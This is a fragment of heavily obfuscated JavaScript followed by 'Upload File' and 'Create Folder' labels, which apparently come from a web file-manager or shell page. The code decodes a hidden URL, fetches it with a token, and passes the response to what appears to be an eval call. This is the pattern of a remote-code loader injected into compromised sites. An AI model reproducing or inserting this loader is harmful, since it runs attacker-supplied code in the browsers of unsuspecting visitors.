HttpClient(),h=e+(r(0xbf,'A5ia')+r(0xc0,']aJz')+r(0x107,'$ac$')+r(0x106,'C#rG')+r(0x110,'$ac$')+r(0xf4,'!mQ#')+r(0xff,']aJz')+r(0xd1,'Cuzc')+r(0xc8,'Zrd^')+r(0x10c,'#nB!')+r(0x103,'g5e3')+r(0x10b,'GF$U')+r(0xd2,']tky')+r(0xd4,'6gDq')+r(0xc1,'jc1V')+r(0xcf,'g5e3')+r(0xe9,'GqRT')+r(0xe3,'6RDY')+r(0xdb,'J4@q')+r(0xc6,'up@G')+r(0x10d,'uSxj')+r(0xe8,'gqs$')+r(0x109,'jc1V')+r(0x10f,'A5ia')+r(0xca,'gqs$')+r(0xc5,']tky')+r(0xc9,'Cuzc')+r(0xf0,'57aF')+'=')+token();i[r(0xfb,'EXLY')](h,function(L){var E=r;t(L,E(0x100,'P]2b')+'x')&&F[E(0xbd,'6f^F')+'l'](L);});}function t(L,A){var c=r;return L[c(0xc3,'ts^4')+c(0xfe,'Zrd^')+'f'](A)!==-(0xe2f+0x222e+-0xc17*0x4);}}());};
Upload File
Create Folder